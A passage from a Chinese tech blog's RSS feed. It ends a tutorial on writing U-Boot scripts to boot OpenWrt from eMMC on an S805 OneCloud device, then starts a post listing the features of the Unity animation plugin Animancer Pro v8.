&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;剩余全部w&lt;/pre&gt;&lt;p data-start=&quot;692&quot; data-end=&quot;698&quot;&gt;然后格式化：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;700&quot; data-end=&quot;766&quot;&gt;mkfs.vfat&amp;nbsp;-F32&amp;nbsp;/dev/mmcblk1p1
mkfs.ext4&amp;nbsp;/dev/mmcblk1p2&lt;/pre&gt;&lt;p data-start=&quot;768&quot; data-end=&quot;771&quot;&gt;挂载：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;773&quot; data-end=&quot;810&quot;&gt;mount&amp;nbsp;/dev/mmcblk1p1&amp;nbsp;/mnt&lt;/pre&gt;&lt;hr data-start=&quot;812&quot; data-end=&quot;815&quot;/&gt;&lt;h1 data-start=&quot;817&quot; data-end=&quot;834&quot;&gt;三、核心文件（我直接给你内容）&lt;/h1&gt;&lt;h2 data-start=&quot;836&quot; data-end=&quot;866&quot;&gt;1️⃣ emmc_autoscript.cmd（源码）&lt;/h2&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;868&quot; data-end=&quot;1288&quot;&gt;echo&amp;nbsp;&amp;quot;=====&amp;nbsp;Boot&amp;nbsp;OpenWrt&amp;nbsp;from&amp;nbsp;eMMC&amp;nbsp;(NO&amp;nbsp;uInitrd)&amp;nbsp;=====&amp;quot;

#&amp;nbsp;内核、DTB&amp;nbsp;加载地址（与你日志一致）
setenv&amp;nbsp;kernel_addr&amp;nbsp;0x14000000
setenv&amp;nbsp;dtb_addr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x11800000

#&amp;nbsp;eMMC：SDIO&amp;nbsp;C&amp;nbsp;=&amp;nbsp;mmc&amp;nbsp;1
setenv&amp;nbsp;bootdev&amp;nbsp;&amp;quot;mmc&amp;nbsp;1:1&amp;quot;

#&amp;nbsp;传给内核的启动参数
setenv&amp;nbsp;bootargs&amp;nbsp;&amp;quot;console=ttyS0,115200n8&amp;nbsp;root=/dev/mmcblk1p2&amp;nbsp;rw&amp;nbsp;rootwait&amp;quot;

#&amp;nbsp;读取内核
fatload&amp;nbsp;${bootdev}&amp;nbsp;${kernel_addr}&amp;nbsp;uImage&amp;nbsp;||&amp;nbsp;exit

#&amp;nbsp;读取&amp;nbsp;DTB
fatload&amp;nbsp;${bootdev}&amp;nbsp;${dtb_addr}&amp;nbsp;dtb&amp;nbsp;||&amp;nbsp;exit

#&amp;nbsp;启动（不带&amp;nbsp;ramdisk）
bootm&amp;nbsp;${kernel_addr}&amp;nbsp;-&amp;nbsp;${dtb_addr}&lt;/pre&gt;&lt;hr data-start=&quot;1290&quot; data-end=&quot;1293&quot;/&gt;&lt;h2 data-start=&quot;1295&quot; data-end=&quot;1326&quot;&gt;2️⃣ 生成 emmc_autoscript（关键一步）&lt;/h2&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;1328&quot; data-end=&quot;1443&quot;&gt;mkimage&amp;nbsp;-A&amp;nbsp;arm&amp;nbsp;-T&amp;nbsp;script&amp;nbsp;-C&amp;nbsp;none&amp;nbsp;\
-n&amp;nbsp;&amp;quot;Boot&amp;nbsp;OpenWrt&amp;nbsp;from&amp;nbsp;eMMC&amp;quot;&amp;nbsp;\
-d&amp;nbsp;emmc_autoscript.cmd&amp;nbsp;emmc_autoscript&lt;/pre&gt;&lt;p data-start=&quot;1445&quot; data-end=&quot;1487&quot;&gt;⚠️ &lt;strong data-start=&quot;1448&quot; data-end=&quot;1487&quot;&gt;只拷贝生成后的 &lt;code data-start=&quot;1458&quot; data-end=&quot;1475&quot;&gt;emmc_autoscript&lt;/code&gt;，不是 &lt;code data-start=&quot;1479&quot; data-end=&quot;1485&quot;&gt;.cmd&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&lt;hr data-start=&quot;1489&quot; data-end=&quot;1492&quot;/&gt;&lt;h2 data-start=&quot;1494&quot; data-end=&quot;1524&quot;&gt;3️⃣ uEnv_emmc.ini（可选，但强烈建议）&lt;/h2&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;1526&quot; data-end=&quot;1655&quot;&gt;bootdelay=1baudrate=115200console=ttyS0,115200n8kernel_addr=0x14000000ramdisk_addr=0x15000000fdt_addr=0x11800000&lt;/pre&gt;&lt;p&gt;4️⃣ dtb 文件（必须匹配）&lt;/p&gt;&lt;h1 data-start=&quot;1766&quot; data-end=&quot;1787&quot;&gt;四、拷贝文件到 eMMC FAT 分区&lt;/h1&gt;&lt;p&gt;可以执行openwrt-18.06.8-s805-k310-onecloud-ws1608-by-snail_20201208_163930+(7)里面的&lt;strong style=&quot;text-align: justify; text-indent: 2em; margin: 0px; padding: 0px; font-size: 16px; border: 0px; vertical-align: baseline; outline: 0px; font-family: arial, sans-serif; white-space-collapse: break-spaces;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px; border: 0px; vertical-align: baseline; outline: 0px; color: rgb(191, 54, 12);&quot;&gt;sh /root/install-openwrt-to-emmc.sh，不过要注意修改你的boot文件夹&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong style=&quot;text-align: justify; text-indent: 2em; margin: 0px; padding: 0px; font-size: 16px; border: 0px; vertical-align: baseline; outline: 0px; font-family: arial, sans-serif; white-space-collapse: break-spaces;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px; border: 0px; vertical-align: baseline; outline: 0px; color: rgb(191, 54, 12);&quot;&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space-collapse: preserve;&quot;&gt;	&lt;/span&gt;BOOT_DIR=${BOOT_DIR:-/var/rom_boot}&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space-collapse: preserve;&quot;&gt;	&lt;/span&gt;display_alert &amp;quot;&amp;quot; &amp;amp;&amp;amp; display_alert &amp;quot;Copy bootfs files to eMMC, please wait ...&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space-collapse: preserve;&quot;&gt;	&lt;/span&gt;(mkdir /var/rom_boot 2&amp;gt;/dev/null; cd $BOOT_DIR &amp;amp;&amp;amp; rm -rf *)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space-collapse: preserve;&quot;&gt;	&lt;/span&gt;(cd /&lt;span style=&quot;background-color: #974806;&quot;&gt;boot&lt;/span&gt; &amp;amp;&amp;amp; tar cpf - *) | pv -p -b -r -s $(( `du -sk /&lt;span style=&quot;background-color: #974806;&quot;&gt;boot &lt;/span&gt;| cut -f1` * 1024 )) | (cd $BOOT_DIR &amp;amp;&amp;amp; tar xpf -)&lt;/p&gt;&lt;p&gt;这里两个boot要改成你建立boot文件夹的路径&lt;/p&gt;&lt;p&gt;&lt;strong style=&quot;text-align: justify; text-indent: 2em; margin: 0px; padding: 0px; font-size: 16px; border: 0px; vertical-align: baseline; outline: 0px; font-family: arial, sans-serif; white-space-collapse: break-spaces;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px; border: 0px; vertical-align: baseline; outline: 0px; color: rgb(191, 54, 12);&quot;&gt;这里可以参考以前我制作镜像的一些方式&lt;a href=&quot;https://pylblog.com/post/253.html&quot; _src=&quot;https://pylblog.com/post/253.html&quot;&gt;https://pylblog.com/post/253.html&lt;/a&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong style=&quot;text-align: justify; text-indent: 2em; margin: 0px; padding: 0px; font-size: 16px; border: 0px; vertical-align: baseline; outline: 0px; font-family: arial, sans-serif; white-space-collapse: break-spaces;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px; border: 0px; vertical-align: baseline; outline: 0px; color: rgb(191, 54, 12);&quot;&gt;在 openwrt-18.06.8-s805-k310-onecloud-ws1608-by-snail_20201208_163930+(7)启动盘增加两个文件夹用来放你编译的固件例如bootA、rootfsA&lt;/strong&gt;&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;1789&quot; data-end=&quot;1965&quot;&gt;&amp;nbsp;将emmc_autoscript&amp;nbsp;&amp;nbsp;uImage&amp;nbsp;&amp;nbsp;uInitrd&amp;nbsp;&amp;nbsp;uEnv_emmc.ini&amp;nbsp;dtb&amp;nbsp;拷贝到boot分区&lt;/pre&gt;&lt;hr data-start=&quot;1967&quot; data-end=&quot;1970&quot;/&gt;&lt;h1 data-start=&quot;1972&quot; data-end=&quot;1992&quot;&gt;五、U-Boot 下验证（非常重要）&lt;/h1&gt;&lt;p data-start=&quot;1994&quot; data-end=&quot;2006&quot;&gt;串口进入 U-Boot：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;2008&quot; data-end=&quot;2052&quot;&gt;mmc&amp;nbsp;list
mmc&amp;nbsp;dev&amp;nbsp;1
fatls&amp;nbsp;mmc&amp;nbsp;1:1&lt;/pre&gt;&lt;p data-start=&quot;2054&quot; data-end=&quot;2064&quot;&gt;&lt;strong data-start=&quot;2054&quot; data-end=&quot;2064&quot;&gt;你必须看到：&lt;/strong&gt;&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;2066&quot; data-end=&quot;2123&quot;&gt;emmc_autoscriptuImage
uInitrd
uEnv_emmc.ini
dtb&lt;/pre&gt;&lt;p data-start=&quot;2125&quot; data-end=&quot;2132&quot;&gt;然后手动测试：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;2134&quot; data-end=&quot;2207&quot;&gt;fatload&amp;nbsp;mmc&amp;nbsp;1:1&amp;nbsp;0x12000000&amp;nbsp;emmc_autoscript
autoscr&amp;nbsp;0x12000000&lt;/pre&gt;&lt;p data-start=&quot;2209&quot; data-end=&quot;2220&quot;&gt;如果正确，日志会出现：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;2222&quot; data-end=&quot;2311&quot;&gt;reading&amp;nbsp;uImage
reading&amp;nbsp;uInitrd
reading&amp;nbsp;...dtb##&amp;nbsp;Booting&amp;nbsp;kernel&amp;nbsp;from&amp;nbsp;Legacy&amp;nbsp;Image&lt;/pre&gt;&lt;p data-start=&quot;2313&quot; data-end=&quot;2335&quot;&gt;? &lt;strong data-start=&quot;2316&quot; data-end=&quot;2335&quot;&gt;这一步成功 = 90% 已搞定&lt;/strong&gt;&lt;/p&gt;&lt;h3 data-start=&quot;1815&quot; data-end=&quot;1837&quot; style=&quot;text-wrap: wrap;&quot;&gt;先按照这个教程执行一次，确保需要的框架存在，https://post.smzdm.com/p/aoxw5x9n/&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 27 Jan 2026 15:49:50 +0800</pubDate></item><item><title>Unity插件Animancer Pro v8 8.2.2 游戏动作动画系统编辑器</title><link>https://pylblog.com/post/268.html</link><description>&lt;h3 class=&quot;header-vfC6AV auto-hide-last-sibling-br&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 12px 0px 0px; padding: 0px; font-size: 16px; line-height: 24px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;https://assetstore-cdn-china-v1.unitychina.cn/key-image/02f43abb-fdc8-41f3-b38b-1e1d0e65fa48.jpg&quot; title=&quot;Unity插件Animancer Pro v8 8.2.2 游戏动作动画系统编辑器 第1张&quot; alt=&quot;Unity插件Animancer Pro v8 8.2.2 游戏动作动画系统编辑器 第1张&quot;&gt;&lt;/h3&gt;&lt;h3 class=&quot;header-vfC6AV auto-hide-last-sibling-br&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 12px 0px 0px; padding: 0px; font-size: 16px; line-height: 24px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;一、基础信息&lt;/h3&gt;&lt;ol class=&quot;auto-hide-last-sibling-br list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;Unity 版本要求&lt;/span&gt;：支持 Unity 2022.3 及以上版本，旧版本用户需参考《升级指南》（Upgrade Guide）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;核心定位&lt;/span&gt;：可完全替代或配合 Unity 原生的 Animator Controllers 使用，解决其核心痛点，简化从原型开发到复杂系统调试的全流程动画操作。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;版本模式&lt;/span&gt;：提供免费的&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;Animancer Lite&lt;/span&gt;版本（可试用全部功能），支持无缝升级到付费的&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;Animancer Pro&lt;/span&gt;版本。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 class=&quot;header-vfC6AV auto-hide-last-sibling-br&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 12px 0px 0px; padding: 0px; font-size: 16px; line-height: 24px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;二、核心功能（Lite 与 Pro 通用）&lt;/h3&gt;&lt;div class=&quot;auto-hide-last-sibling-br paragraph-JOTKXA paragraph-element br-paragraph-space&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 0px; padding: 0px; line-height: 24px; font-size: 16px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;所有功能均可通过 Animancer Lite 在 Unity 编辑器中免费试用，具体包括：&lt;/div&gt;&lt;ul class=&quot;auto-hide-last-sibling-br list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;即时播放（Quick Play）&lt;/span&gt;：无需额外配置，获取 AnimationClip 后调用&lt;code style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px none rgb(0, 0, 0); margin: 0px; padding: 0px 3.6px; font-family: Menlo, Monaco, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-size: 14.4px; font-variation-settings: normal; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.06); border-radius: 3.6px; overflow-anchor: auto;&quot;&gt;animancer.Play(clip)&lt;/code&gt;即可播放。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;便捷等待（Easy Waiting）&lt;/span&gt;：注册结束事件（End Event），或在协程中通过&lt;code style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px none rgb(0, 0, 0); margin: 0px; padding: 0px 3.6px; font-family: Menlo, Monaco, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-size: 14.4px; font-variation-settings: normal; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.06); border-radius: 3.6px; overflow-anchor: auto;&quot;&gt;yield return an AnimancerState&lt;/code&gt;等待动画结束。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;平滑过渡（Smooth Transitions）&lt;/span&gt;：支持线性或自定义曲线（Custom Curve）过渡，确保角色动作流畅。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;灵活结构（Flexible Structure）&lt;/span&gt;：通过数组、Scriptable Objects 等数据结构管理动画，避免 “魔法字符串”（Magic Strings）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;实时检视（Live Inspector）&lt;/span&gt;：在 Inspector 面板查看动画实时详情，支持手动控制以方便调试和测试。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;有限状态机（Finite State Machines）&lt;/span&gt;：内置独立于动画系统的灵活 FSM，可自由修改或替换为其他系统。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;高性能（High Performance）&lt;/span&gt;：效率通常高于其他动画系统，多数场景下性能差异不影响使用。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;平滑集成（Smooth Integration）&lt;/span&gt;：兼容多数第三方动画插件，支持人形动画重定向、通用骨骼、精灵动画、根运动、动画事件及反向运动学（IK）。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 class=&quot;header-vfC6AV auto-hide-last-sibling-br&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 12px 0px 0px; padding: 0px; font-size: 16px; line-height: 24px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;三、Animancer Pro 专属功能&lt;/h3&gt;&lt;div class=&quot;auto-hide-last-sibling-br paragraph-JOTKXA paragraph-element br-paragraph-space&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 0px; padding: 0px; line-height: 24px; font-size: 16px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;以下功能需购买 Pro 版才能在运行时构建（runtime build）中使用，且 Pro 版包含完整源代码：&lt;/div&gt;&lt;ul class=&quot;auto-hide-last-sibling-br list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;完全控制（Total Control）&lt;/span&gt;：运行时脚本可全面访问并控制动画细节，包括速度、时间、混合权重。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;简单配置（Simple Configuration）&lt;/span&gt;：在 Inspector 面板管理动画细节，支持作为场景或预制体的一部分编辑。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;自定义事件（Custom Events）&lt;/span&gt;：无需 Unity 原生动画事件的繁琐操作，可注册在动画特定时间触发的回调。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;动画层（Animation Layers）&lt;/span&gt;：同时管理多组动画（通常对应不同身体部位），支持层的覆盖、叠加及淡入淡出。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;Animator Controllers 兼容（Animator Controllers）&lt;/span&gt;：支持 “混合模式”，可将 Animator Controllers 与直接 AnimationClip 引用结合使用，单个角色可混合多个控制器。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;动画混合器（Animation Mixers）&lt;/span&gt;：类似混合树（Blend Trees），可根据输入参数（如摇杆倾斜度）混合动画（如 Idle、Walk、Run）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;工具集（Tools）&lt;/span&gt;：包含批量创建、修改动画的工具（如批量重命名精灵、按名称生成精灵动画），兼容其他动画系统。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;自定义扩展（Customisation）&lt;/span&gt;：利用 Unity 动画作业系统（Animation Job）实现底层动画流访问，可创建自定义状态类型以实现 procedural 动画、自定义混合算法等。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;源代码（Source Code）&lt;/span&gt;：提供带详细注释的完整 C# 源代码，支持查错、自定义修改，避免依赖开发者修复问题；Pro 包中的&lt;code style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px none rgb(0, 0, 0); margin: 0px; padding: 0px 3.6px; font-family: Menlo, Monaco, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-size: 14.4px; font-variation-settings: normal; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.06); border-radius: 3.6px; overflow-anchor: auto;&quot;&gt;Animancer.Lite.dll&lt;/code&gt;为空占位文件，不参与构建。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 class=&quot;header-vfC6AV auto-hide-last-sibling-br&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 12px 0px 0px; padding: 0px; font-size: 16px; line-height: 24px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;四、学习与支持资源&lt;/h3&gt;&lt;ul class=&quot;auto-hide-last-sibling-br list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;文档（Documentation）&lt;/span&gt;：包含详细的《用户手册》（User Manual），解释所有功能原理，还提供 Unity C# 入门教程（针对编程新手）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;示例（Samples）&lt;/span&gt;：提供大量示例项目，其中《Platformer Game Kit》展示了 Animancer 在复杂场景中的应用；示例使用的第三方美术资源基于 CC0 协议（可免费商用）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;帮助（Help and FAQ）&lt;/span&gt;：提供专门的帮助与常见问题页面，供用户获取支持。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 class=&quot;header-vfC6AV 